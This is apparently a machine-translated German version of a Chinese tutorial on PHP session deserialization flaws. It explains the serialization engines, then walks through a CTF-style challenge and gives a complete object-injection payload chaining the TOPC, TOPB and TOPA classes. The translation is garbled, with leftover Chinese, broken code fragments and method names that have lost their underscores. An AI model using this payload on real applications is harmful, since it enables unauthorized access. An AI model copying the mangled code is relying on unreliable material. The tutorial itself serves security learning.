In diesem Artikel wird hauptsächlich die Sicherheitslücke bei der Sitzung-Deserialisierung von PHP vorgestellt.
Es gibt drei Konfigurationselemente in php.ini:
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
Die oben genannten Optionen beziehen sich auf die Sitzungsspeicherung und die Sequenzspeicherung in PHP.
Bei der Installation mit der xampp-Komponente lauten die Einstellungen der oben genannten Konfigurationselemente wie folgt:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
In der obigen Konfiguration session.serialize_handler Wird zum Festlegen der Sitzungssequenz-Engine verwendet. Zusätzlich zur Standard-PHP-Engine gibt es andere Engines. Die Speichermethoden der Sitzungen, die verschiedenen Engines entsprechen, sind unterschiedlich.
php_binary: Die Speichermethode ist das ASCII-Zeichen, das der Länge des Schlüsselnamens + Schlüsselname + dem durch die Funktion serialize() serialisierten Wert entspricht.
php: Der Speicher Methode ist: Schlüsselname + vertikaler Balken + durch die Funktion serialize() serialisierter Wert
php_serialize (php>5.5.4): Die Speichermethode ist, durch die Funktion serialize() serialisierter Wert
Die PHP-Engine wird standardmäßig in PHP verwendet. Wenn Sie sie auf eine andere Engine ändern möchten, müssen Sie nur den Code ini_set('session.serialize_handler', 'The Motor, der eingestellt werden muss');. Der Beispielcode lautet wie folgt:
Das Sitzungsverzeichnis befindet sich in /var/lib/php/sessions
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
Unter der php_serialize-Engine befindet sich die Sitzungsdatei wird gespeichert. Die Daten sind:
a:1:{s:4:"name";s:6:"spoock";}
php. Der Dateiinhalt unter der Engine ist:
name|s:6:"spoock";
php_binary unter der Engine Der Inhalt der Datei ist:
names:6:"spoock";
Da die Länge des Namens 4 beträgt, entspricht 4 EOT in der ASCII-Tabelle. Gemäß den Speicherregeln von php_binary lautet der letzte Name:6:"spoock";. (Plötzlich stellte ich fest, dass Zeichen mit einem ASCII-Wert von 4 nicht auf der Webseite angezeigt werden können. Bitte überprüfen Sie die ASCII-Tabelle selbst)
Serialisierungsrisiken in PHP-Sitzung
Es gibt kein Problem mit der Implementierung von Session in PHP. Der Schaden wird hauptsächlich durch die unsachgemäße Verwendung von Session durch Programmierer verursacht.
Wenn sich die von PHP zum Deserialisieren der gespeicherten $_SESSION-Daten verwendete Engine von der für die Serialisierung verwendeten Engine unterscheidet, werden die Daten nicht korrekt deserialisiert. Durch sorgfältig zusammengestellte Datenpakete ist es möglich, die Programmüberprüfung zu umgehen oder einige Systemmethoden auszuführen. Zum Beispiel:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
php-Datei wie:
Nach dem Login kopieren
Nach dem Zugriff wird der Inhalt angezeigt Die Sitzungsdatei wird wie folgt abgerufen:
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
Aber zu diesem Zeitpunkt, wenn die Simulation verschiedene PHP-Engines zum Lesen auf anderen Seiten verwendet, ist der Inhalt wie folgt: (Standardmäßig wird die PHP-Engine zum Lesen der Sitzungsdatei verwendet)
a; } } // var_dump($_SESSION);
Besuchen Sie diese Seite und geben Sie xx aus
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }
Dies liegt daran, dass die PHP-Engine beim Ausführen der Engine | als Trennzeichen zwischen Schlüssel und Wert verwendet, dann a:1:{s:4:"ryat";s :30:“ wird als SESSION-Schlüssel verwendet und O:1: „A“:1:{s:1:“a“;s:2:“xx“;} wird als Wert verwendet und dann deserialisiert. und schließlich wird die Klasse A erhalten. Die verschiedenen Engines, die für die Serialisierung und Deserialisierung verwendet werden, sind die Ursache für die Sicherheitslücke bei der PHP-Sitzungsserialisierung. Die Sicherheitslücke wird ausgelöst, wenn die Sitzung den Inhalt liest und ihn beim Laden einer Seite mit PHP deserialisiert Engine. Dies ist nicht erforderlich.
Analyse einer Sicherheitslücke bei der Sitzungsdeserialisierung: Der Inhalt in index.php ist:
<?php //error_reporting(E_ERROR & ~E_NOTICE); ini_set('session.serialize_handler', 'php_serialize'); header("content-type;text/html;charset=utf-8"); session_start(); if(isset($_GET['src'])){ $_SESSION['src'] = $_GET['src']; highlight_file(FILE); print_r($_SESSION['src']); } ?> <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代码审计2</title> </head> <body>
<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源码</a> </body> </html>
/************************/ /* //query.php 部分代码 session_start(); header('Look me: edit by vim ~0~') //...... class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ return 'key is:{'.$this->token.'}'; } } } class TOPB{ public $obj; public $attr; function construct(){ $this->attr = null; $this->obj = null; } function toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } } } class TOPC{ public $obj; public $attr; function wakeup(){ $this->attr = null; $this->obj = null; } function destruct(){ echo $this->attr; } } */
Der Die Idee ist wie folgt: In dieser Frage erstellen wir einen TOPC und
wird während der Zerstörung aufgerufenecho $this->attr;
attr dem TOPB zuweisen Objekt, die tostring
wird automatisch aufgerufen, wenn TOPB zurückgegeben wird, und
wird in tostring aufgerufen, da Token und Ticket später verwendet werden, ist dies offensichtlich für TOPA erforderlich Objekt später., daher kann die Verwendung von unserialize($this->attr)
als Zeigerreferenz während der Serialisierung die Beurteilung umgehen. $this->obj->token === $this->obj->ticket
$a->ticket = &$a->token;
Was den Grund betrifft, warum
Es wird eine wakeup()-Funktion in der deserialisierten (string)$this->obj
-Zeichenfolge geben
< ist:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
Das obige ist der detaillierte Inhalt vonEine kurze Diskussion über die Sicherheitslücke bei der Sitzungsdeserialisierung in PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!